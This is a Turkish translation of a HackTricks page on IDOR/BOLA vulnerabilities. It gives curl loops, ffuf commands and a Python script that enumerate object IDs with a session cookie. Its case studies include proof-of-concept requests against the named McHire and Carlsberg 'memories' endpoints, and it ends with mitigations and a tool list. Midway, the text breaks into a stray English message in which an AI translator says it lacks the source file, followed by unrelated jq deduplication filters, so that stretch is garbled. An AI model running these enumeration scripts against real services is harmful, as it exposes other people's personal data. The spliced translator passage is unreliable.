IDOR (Insecure Direct Object Reference)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API endpoint’inin kullanıcı tarafından kontrol edilebilen bir tanımlayıcıyı açıklaması veya kabul etmesi ve bu tanımlayıcının iç nesneye doğrudan erişmek için kullanılması fakat çağıranın o nesneye erişme/değiştirme yetkisi olduğunun doğrulanmaması durumunda ortaya çıkar. Başarılı sömürü genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey ayrıcalık yükseltimine izin verir ve en kötü durumda tam hesap ele geçirme veya kitlesel veri sızdırma ile sonuçlanabilir.


1. Potansiyel IDOR’ları Belirleme

  1. Bir nesneye referans veren parametrelere bakın:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Veriyi okuyan veya güncelleyen endpoint’leri tercih edin (GET, PUT, PATCH, DELETE).
  2. Tanımlayıcıların sıralı veya tahmin edilebilir olup olmadığına dikkat edin – eğer ID’niz 64185742 ise, muhtemelen 64185741 de vardır.
  3. Ek API’leri açığa çıkarabilecek gizli veya alternatif akışları keşfedin (ör. giriş sayfalarındaki “Paradox team members” bağlantısı).
  4. Bir yetkili, düşük ayrıcalıklı oturum kullanın ve sadece ID’yi değiştirin, aynı token/cookie’yi koruyarak. Yetkilendirme hatasının olmaması genellikle IDOR işaretidir.

Hızlı manuel müdahale (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Otomatik keşif (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Öngörülebilir download ID’lerini keşfetme (ffuf)

Kimlik doğrulamalı dosya barındırma panelleri genellikle kullanıcı başına metadata’yı tek bir files tablosunda saklar ve /download.php?id=<int> gibi bir download endpoint’i sunar. Eğer handler sadece ID’nin var olup olmadığını kontrol ediyorsa (ve ID’nin authenticated kullanıcıya ait olup olmadığını kontrol etmiyorsa), geçerli session cookie’nizle tamsayı aralığını tarayarak diğer tenant’ların yedeklerini/konfigürasyonlarını çalabilirsiniz:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr 404-tarzı şablonları kaldırır, böylece sadece gerçek bulgular kalır (ör., IDs 54/150 leaking tam site yedekleri ve imzalama materyalleri).
  • Aynı FFUF iş akışı Burp Intruder veya bir curl loop ile çalışır—sadece ID’leri artırırken session cookie’nizin authenticated olarak kalmasını sağlayın.

Kimlik doğrulamalı kombinatoryel enumeration (ffuf + jq)

Bazı IDORs multiple object IDs kabul eder (ör., iki kullanıcı arasındaki chat threads). Eğer uygulama sadece oturum açtığınızı kontrol ediyorsa, session cookie’nizi koruyarak her iki ID’yi de fuzz edebilirsiniz:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

I don’t have the contents of src/pentesting-web/idor.md — please paste the file content you want translated (or confirm I should fetch it from somewhere).

Meanwhile, here are jq filters to post-process JSON and remove symmetric duplicate pairs. Pick the one matching your JSON shape.

  1. If your JSON is an array of 2-element arrays: [[“A”,“B”],[“B”,“A”],[“A”,“C”],…] jq: jq ‘map( (.[0:2] | if .[0] <= .[1] then . else reverse end) ) | unique’

  2. If your JSON is an array of objects with keys “a” and “b”: [{“a”:“A”,“b”:“B”}, {“a”:“B”,“b”:“A”}, …] jq: jq ‘map({a: (if .a <= .b then .a else .b end), b: (if .a <= .b then .b else .a end)}) | unique_by(.a + “|” + .b)’

  3. If your JSON is an array of objects with keys “source” and “target”: [{“source”:“A”,“target”:“B”}, {“source”:“B”,“target”:“A”}, …] jq: jq ‘map({source: (if .source <= .target then .source else .target end), target: (if .source <= .target then .target else .source end)}) | unique_by(.source + “|” + .target)’

Notes:

  • These canonicalize each pair by ordering the two values lexicographically, then remove duplicates.
  • If values aren’t strings, you may need to convert to strings in the unique_by expression, e.g. (.a|tostring) + “|” + (.b|tostring).
  • If you want to preserve the original order of first-seen unique pairs instead of canonicalizing all pairs, say so and I can provide an alternative filter.
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Error-response oracle for user/file enumeration

Bir download endpoint hem username hem de filename kabul ettiğinde (örn. /view.php?username=<u>&file=<f>), hata mesajlarındaki ince farklar sıklıkla bir oracle oluşturur:

  • Mevcut olmayan username → “User not found”
  • Geçersiz filename ancak valid extension → “File does not exist” (bazen mevcut dosyaları da listeler)
  • Geçersiz extension → validation error

Herhangi bir authenticated session ile, benign filename’i sabit tutup username parameter’ını fuzz ederek ve “user not found” string’ine göre filter uygulayarak geçerli kullanıcıları keşfedebilirsiniz:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Geçerli kullanıcı adları belirlendikten sonra belirli dosyalar doğrudan istenmelidir (ör. /view.php?username=amanda&file=privacy.odt). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage’e yol açar.


2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platformu (2025)

Paradox.ai destekli McHire işe alım portalının değerlendirilmesi sırasında aşağıdaki IDOR tespit edildi:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: herhangi bir restoran test hesabı için user session cookie
  • Body parameter: {"lead_id": N} – 8-haneli, ardışık sayısal tanımlayıcı

lead_id değerini azaltarak test yapan kişi rastgele başvuru sahiplerinin full PII (isim, e-posta, telefon, adres, vardiya tercihleri) ile session hijacking’e izin veren bir tüketici JWT elde etti. 1 – 64,185,742 aralığının taranması yaklaşık 64 milyon kaydı ortaya çıkardı.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.

Vaka Çalışması – Bileklik QR kodları zayıf bearer tokens olarak (2025–2026)

Flow: Exhibition visitors received QR-coded wristbands; scanning https://homeofcarlsberg.com/memories/ let the browser take the printed wristband ID, hex-encode it, and call a cloudfunctions.net backend to fetch stored media (photos/videos + names). There was no session binding or user authentication—knowledge of the ID = authorization.

Predictability: Wristband IDs followed a short pattern such as C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). The space was estimated at ~26M combinations, trivial to exhaust online.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Build candidate IDs (e.g., [A-Z]-###-###). Use a Burp Intruder Pitchfork or Cluster Bomb attack with positions for the letter and digits. Add a payload processing rule → Add prefix/suffix → payload encoding: ASCII hex so each request transmits the hex string expected by the backend.
  2. Response grep: Mark Intruder grep-match for markers present only in valid responses (e.g., media URLs/JSON fields). Invalid IDs typically returned an empty array/404.
  3. Throughput measurement: ~1,000,000 IDs were tested in ~2 hours from a laptop (~139 req/s). At that rate the full keyspace (~26M) would fall in ~52 hours. The sample run already exposed ~500 valid wristbands (videos + full names).
  4. Rate-limiting verification: After the vendor claimed throttling, rerun the same Intruder config. Identical throughput/hit-rate proved the control was absent/ineffective; enumeration continued unhindered.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: Encoding (ASCII→hex/Base64) entropy eklemez; kısa IDs kozmetik encoding’e rağmen enumerable olan bearer tokens haline gelir. Per-user authorization + high-entropy secrets yoksa, media/PII toplu olarak ele geçirilebilir, hatta “rate limiting” iddia edilse bile.


3. IDOR / BOLA’nın Etkileri

  • Horizontal escalation – other users’ verilerini oku/güncelle/sil.
  • Vertical escalation – düşük yetkili bir kullanıcı admin-e özel işlevsellik kazanır.
  • Identifiers ardışık ise toplu veri sızıntısı (ör. applicant IDs, invoices).
  • Diğer kullanıcıların tokenlerini çalarak veya şifrelerini sıfırlayarak hesap devralma.

4. Önlemler ve En İyi Uygulamalar

  1. Her istekte nesne düzeyinde yetkilendirmeyi zorunlu kılın (user_id == session.user).
  2. Otomatik artan ID’ler yerine indirect, unguessable identifiers (UUIDv4, ULID) tercih edin.
  3. Yetkilendirmeyi server-side gerçekleştirin, gizli form alanlarına veya UI kontrollerine asla güvenmeyin.
  4. Merkezi bir middleware’de RBAC / ABAC kontrolleri uygulayın.
  5. ID taramasını tespit etmek için rate-limiting & logging ekleyin.
  6. Her yeni endpoint’i güvenlik testine tabi tutun (unit, integration ve DAST).

5. Araçlar

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin